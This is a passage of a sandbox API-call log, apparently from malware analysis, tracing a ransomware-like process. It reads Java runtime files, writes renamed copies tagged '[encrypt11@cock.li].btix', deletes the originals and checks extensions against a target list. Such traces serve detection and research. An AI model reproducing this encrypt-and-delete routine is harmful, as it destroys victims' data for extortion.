GetLastError () returned 0x0 [0130.475] ReadFile (in: hFile=0x42c, lpBuffer=0x409e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x409e020*, lpNumberOfBytesRead=0x350fecc*=0xea8, lpOverlapped=0x0) returned 1 [0130.477] WriteFile (in: hFile=0x49c, lpBuffer=0x409e020*, nNumberOfBytesToWrite=0xeb0, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x409e020*, lpNumberOfBytesWritten=0x350fc94*=0xeb0, lpOverlapped=0x0) returned 1 [0130.477] ReadFile (in: hFile=0x42c, lpBuffer=0x409e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x409e020*, lpNumberOfBytesRead=0x350fecc*=0x0, lpOverlapped=0x0) returned 1 [0130.477] WriteFile (in: hFile=0x49c, lpBuffer=0x409e020*, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x409e020*, lpNumberOfBytesWritten=0x350fc94*=0x106, lpOverlapped=0x0) returned 1 [0130.478] SetEndOfFile (hFile=0x49c) returned 1 [0130.478] CloseHandle (hObject=0x49c) returned 1 [0130.478] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0130.478] SetEndOfFile (hFile=0x42c) returned 1 [0130.480] CloseHandle (hObject=0x42c) returned 1 [0130.480] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_TW.properties.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0130.481] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_TW.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_zh_tw.properties")) returned 1 [0130.481] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_TW.properties") returned 71 [0130.481] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_TW.properties") returned 71 [0130.481] lstrlenW (lpString=".doc") returned 4 [0130.481] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0130.481] lstrlenW (lpString=".docx") returned 5 [0130.481] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0130.481] lstrlenW (lpString=".pdf") returned 4 [0130.481] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0130.481] lstrlenW (lpString=".xls") returned 4 [0130.481] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0130.481] lstrlenW (lpString=".xlsx") returned 5 [0130.481] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0130.481] lstrlenW (lpString=".ppt") returned 4 [0130.481] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0130.481] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_TW.properties") returned 71 [0130.481] lstrlenW (lpString=".zip") returned 4 [0130.481] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0130.481] lstrlenW (lpString=".rar") returned 4 [0130.481] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0130.481] lstrlenW (lpString=".bz2") returned 4 [0130.481] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0130.481] lstrlenW (lpString=".7z") returned 3 [0130.481] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0130.482] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_TW.properties") returned 71 [0130.482] lstrlenW (lpString=".dbf") returned 4 [0130.482] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0130.482] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_TW.properties") returned 71 [0130.482] lstrlenW (lpString=".1cd") returned 4 [0130.482] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0130.482] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_TW.properties") returned 71 [0130.482] lstrlenW (lpString=".jpg") returned 4 [0130.482] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0130.482] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_TW.properties") returned 71 [0130.482] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_TW.properties") returned 71 [0130.482] lstrlenW (lpString=".doc") returned 4 [0130.482] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0130.482] lstrlenW (lpString=".docx") returned 5 [0130.482] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0130.482] lstrlenW (lpString=".pdf") returned 4 [0130.482] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0130.482] lstrlenW (lpString=".xls") returned 4 [0130.482] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0130.482] lstrlenW (lpString=".xlsx") returned 5 [0130.482] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0130.482] lstrlenW (lpString=".ppt") returned 4 [0130.482] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0130.482] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_TW.properties") returned 71 [0130.482] lstrlenW (lpString=".zip") returned 4 [0130.482] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0130.482] lstrlenW (lpString=".rar") returned 4 [0130.482] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0130.482] lstrlenW (lpString=".bz2") returned 4 [0130.482] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0130.482] lstrlenW (lpString=".7z") returned 3 [0130.482] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0130.482] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_TW.properties") returned 71 [0130.482] lstrlenW (lpString=".dbf") returned 4 [0130.482] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0130.482] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_TW.properties") returned 71 [0130.482] lstrlenW (lpString=".1cd") returned 4 [0130.483] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0130.483] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_TW.properties") returned 71 [0130.483] lstrlenW (lpString=".jpg") returned 4 [0130.483] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0130.483] lstrcmpiW (lpString1=".jar", lpString2=".btix") returned 1 [0130.483] lstrlenW (lpString="deploy.jar") returned 10 [0130.483] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x42c [0130.484] GetFileSizeEx (in: hFile=0x42c, lpFileSize=0x350ff14 | out: lpFileSize=0x350ff14*=5040094) returned 1 [0130.484] CloseHandle (hObject=0x42c) returned 1 [0130.484] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy.jar")) returned 0x20 [0130.484] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy.jar.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy.jar.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0130.484] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy.jar"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy.jar.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy.jar.id-b4197730.[encrypt11@cock.li].btix")) returned 0 [0130.485] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy.jar") returned 49 [0130.485] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy.jar") returned 49 [0130.485] lstrlenW (lpString=".doc") returned 4 [0130.485] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0130.485] lstrlenW (lpString=".docx") returned 5 [0130.485] lstrcmpiW (lpString1=".docx", lpString2="y.jar") returned -1 [0130.485] lstrlenW (lpString=".pdf") returned 4 [0130.485] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0130.485] lstrlenW (lpString=".xls") returned 4 [0130.485] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0130.485] lstrlenW (lpString=".xlsx") returned 5 [0130.485] lstrcmpiW (lpString1=".xlsx", lpString2="y.jar") returned -1 [0130.485] lstrlenW (lpString=".ppt") returned 4 [0130.485] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0130.485] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy.jar") returned 49 [0130.485] lstrlenW (lpString=".zip") returned 4 [0130.485] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0130.485] lstrlenW (lpString=".rar") returned 4 [0130.485] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0130.485] lstrlenW (lpString=".bz2") returned 4 [0130.486] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0130.486] lstrlenW (lpString=".7z") returned 3 [0130.486] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0130.486] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy.jar") returned 49 [0130.486] lstrlenW (lpString=".dbf") returned 4 [0130.486] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0130.486] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy.jar") returned 49 [0130.486] lstrlenW (lpString=".1cd") returned 4 [0130.486] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0130.486] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy.jar") returned 49 [0130.486] lstrlenW (lpString=".jpg") returned 4 [0130.486] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0130.486] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy.jar") returned 49 [0130.486] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy.jar") returned 49 [0130.486] lstrlenW (lpString=".doc") returned 4 [0130.486] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0130.486] lstrlenW (lpString=".docx") returned 5 [0130.486] lstrcmpiW (lpString1=".docx", lpString2="y.jar") returned -1 [0130.486] lstrlenW (lpString=".pdf") returned 4 [0130.486] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0130.486] lstrlenW (lpString=".xls") returned 4 [0130.486] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0130.486] lstrlenW (lpString=".xlsx") returned 5 [0130.486] lstrcmpiW (lpString1=".xlsx", lpString2="y.jar") returned -1 [0130.486] lstrlenW (lpString=".ppt") returned 4 [0130.486] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0130.486] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy.jar") returned 49 [0130.486] lstrlenW (lpString=".zip") returned 4 [0130.486] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0130.486] lstrlenW (lpString=".rar") returned 4 [0130.486] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0130.486] lstrlenW (lpString=".bz2") returned 4 [0130.486] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0130.486] lstrlenW (lpString=".7z") returned 3 [0130.486] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0130.486] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy.jar") returned 49 [0130.487] lstrlenW (lpString=".dbf") returned 4 [0130.487] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0130.487] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy.jar") returned 49 [0130.487] lstrlenW (lpString=".1cd") returned 4 [0130.487] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0130.487] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy.jar") returned 49 [0130.487] lstrlenW (lpString=".jpg") returned 4 [0130.487] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0130.487] lstrcmpiW (lpString1=".jar", lpString2=".btix") returned 1 [0130.487] lstrlenW (lpString="access-bridge-64.jar") returned 20 [0130.487] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x42c [0130.489] GetFileSizeEx (in: hFile=0x42c, lpFileSize=0x350ff14 | out: lpFileSize=0x350ff14*=188024) returned 1 [0130.489] CloseHandle (hObject=0x42c) returned 1 [0130.489] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar")) returned 0x20 [0130.490] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0130.490] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x42c [0130.490] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0130.490] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0130.490] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x49c [0130.491] GetLastError () returned 0x0 [0130.491] ReadFile (in: hFile=0x42c, lpBuffer=0x409e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x409e020*, lpNumberOfBytesRead=0x350fecc*=0x2de78, lpOverlapped=0x0) returned 1 [0130.516] WriteFile (in: hFile=0x49c, lpBuffer=0x409e020*, nNumberOfBytesToWrite=0x2de80, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x409e020*, lpNumberOfBytesWritten=0x350fc94*=0x2de80, lpOverlapped=0x0) returned 1 [0130.676] ReadFile (in: hFile=0x42c, lpBuffer=0x409e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x409e020*, lpNumberOfBytesRead=0x350fecc*=0x0, lpOverlapped=0x0) returned 1 [0130.676] WriteFile (in: hFile=0x49c, lpBuffer=0x409e020*, nNumberOfBytesToWrite=0xfc, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x409e020*, lpNumberOfBytesWritten=0x350fc94*=0xfc, lpOverlapped=0x0) returned 1 [0130.676] SetEndOfFile (hFile=0x49c) returned 1 [0130.676] CloseHandle (hObject=0x49c) returned 1 [0130.680] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0130.680] SetEndOfFile (hFile=0x42c) returned 1 [0130.686] CloseHandle (hObject=0x42c) returned 1 [0130.686] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0130.687] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar")) returned 1 [0130.687] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar") returned 63 [0130.687] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar") returned 63 [0130.687] lstrlenW (lpString=".doc") returned 4 [0130.687] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0130.687] lstrlenW (lpString=".docx") returned 5 [0130.687] lstrcmpiW (lpString1=".docx", lpString2="4.jar") returned -1 [0130.687] lstrlenW (lpString=".pdf") returned 4 [0130.687] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0130.687] lstrlenW (lpString=".xls") returned 4 [0130.687] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0130.687] lstrlenW (lpString=".xlsx") returned 5 [0130.688] lstrcmpiW (lpString1=".xlsx", lpString2="4.jar") returned -1 [0130.688] lstrlenW (lpString=".ppt") returned 4 [0130.688] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0130.688] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar") returned 63 [0130.688] lstrlenW (lpString=".zip") returned 4 [0130.688] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0130.688] lstrlenW (lpString=".rar") returned 4 [0130.688] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0130.688] lstrlenW (lpString=".bz2") returned 4 [0130.688] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0130.688] lstrlenW (lpString=".7z") returned 3 [0130.688] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0130.688] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar") returned 63 [0130.688] lstrlenW (lpString=".dbf") returned 4 [0130.688] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0130.688] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar") returned 63 [0130.688] lstrlenW (lpString=".1cd") returned 4 [0130.688] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0130.688] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar") returned 63 [0130.688] lstrlenW (lpString=".jpg") returned 4 [0130.688] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0130.688] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar") returned 63 [0130.688] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar") returned 63 [0130.688] lstrlenW (lpString=".doc") returned 4 [0130.688] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0130.688] lstrlenW (lpString=".docx") returned 5 [0130.688] lstrcmpiW (lpString1=".docx", lpString2="4.jar") returned -1 [0130.688] lstrlenW (lpString=".pdf") returned 4 [0130.688] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0130.688] lstrlenW (lpString=".xls") returned 4 [0130.688] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0130.688] lstrlenW (lpString=".xlsx") returned 5 [0130.688] lstrcmpiW (lpString1=".xlsx", lpString2="4.jar") returned -1 [0130.688] lstrlenW (lpString=".ppt") returned 4 [0130.688] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0130.688] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar") returned 63 [0130.689] lstrlenW (lpString=".zip") returned 4 [0130.689] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0130.689] lstrlenW (lpString=".rar") returned 4 [0130.689] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0130.689] lstrlenW (lpString=".bz2") returned 4 [0130.689] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0130.689] lstrlenW (lpString=".7z") returned 3 [0130.689] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0130.689] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar") returned 63 [0130.689] lstrlenW (lpString=".dbf") returned 4 [0130.689] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0130.689] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar") returned 63 [0130.689] lstrlenW (lpString=".1cd") returned 4 [0130.689] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0130.689] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar") returned 63 [0130.689] lstrlenW (lpString=".jpg") returned 4 [0130.689] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0130.689] lstrcmpiW (lpString1=".jar", lpString2=".btix") returned 1 [0130.689] lstrlenW (lpString="jaccess.jar") returned 11 [0130.689] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jaccess.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\jaccess.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x42c [0130.690] GetFileSizeEx (in: hFile=0x42c, lpFileSize=0x350ff14 | out: lpFileSize=0x350ff14*=44516) returned 1 [0130.690] CloseHandle (hObject=0x42c) returned 1 [0130.690] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jaccess.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\jaccess.jar")) returned 0x20 [0130.690] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jaccess.jar.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\jaccess.jar.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0130.690] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jaccess.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\jaccess.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x42c [0130.691] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0130.691] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0130.691] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jaccess.jar.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\jaccess.jar.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x49c [0130.691] GetLastError () returned 0x0 [0130.691] ReadFile (in: hFile=0x42c, lpBuffer=0x409e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x409e020*, lpNumberOfBytesRead=0x350fecc*=0xade4, lpOverlapped=0x0) returned 1 [0130.741] WriteFile (in: hFile=0x49c, lpBuffer=0x409e020*, nNumberOfBytesToWrite=0xadf0, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x409e020*, lpNumberOfBytesWritten=0x350fc94*=0xadf0, lpOverlapped=0x0) returned 1 [0130.743] ReadFile (in: hFile=0x42c, lpBuffer=0x409e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x409e020*, lpNumberOfBytesRead=0x350fecc*=0x0, lpOverlapped=0x0) returned 1 [0130.743] WriteFile (in: hFile=0x49c, lpBuffer=0x409e020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x409e020*, lpNumberOfBytesWritten=0x350fc94*=0xea, lpOverlapped=0x0) returned 1 [0130.743] SetEndOfFile (hFile=0x49c) returned 1 [0130.743] CloseHandle (hObject=0x49c) returned 1 [0130.743] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0130.743] SetEndOfFile (hFile=0x42c) returned 1 [0130.746] CloseHandle (hObject=0x42c) returned 1 [0130.746] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jaccess.jar.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0130.746] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jaccess.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\jaccess.jar")) returned 1 [0130.747] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jaccess.jar") returned 54 [0130.747] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jaccess.jar") returned 54 [0130.747] lstrlenW (lpString=".doc") returned 4 [0130.747] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0130.747] lstrlenW (lpString=".docx") returned 5 [0130.747] lstrcmpiW (lpString1=".docx", lpString2="s.jar") returned -1 [0130.747] lstrlenW (lpString=".pdf") returned 4 [0130.747] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0130.747] lstrlenW (lpString=".xls") returned 4 [0130.747] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0130.747] lstrlenW (lpString=".xlsx") returned 5 [0130.747] lstrcmpiW (lpString1=".xlsx", lpString2="s.jar") returned -1 [0130.747] lstrlenW (lpString=".ppt") returned 4 [0130.747] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0130.747] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jaccess.jar") returned 54 [0130.747] lstrlenW (lpString=".zip") returned 4 [0130.747] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0130.747] lstrlenW (lpString=".rar") returned 4 [0130.747] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0130.748] lstrlenW (lpString=".bz2") returned 4 [0130.748] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0130.748] lstrlenW (lpString=".7z") returned 3 [0130.748] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0130.748] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jaccess.jar") returned 54 [0130.748] lstrlenW (lpString=".dbf") returned 4 [0130.748] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0130.748] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jaccess.jar") returned 54 [0130.748] lstrlenW (lpString=".1cd") returned 4 [0130.748] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0130.748] lstrlenW (lpString="C:\\Program 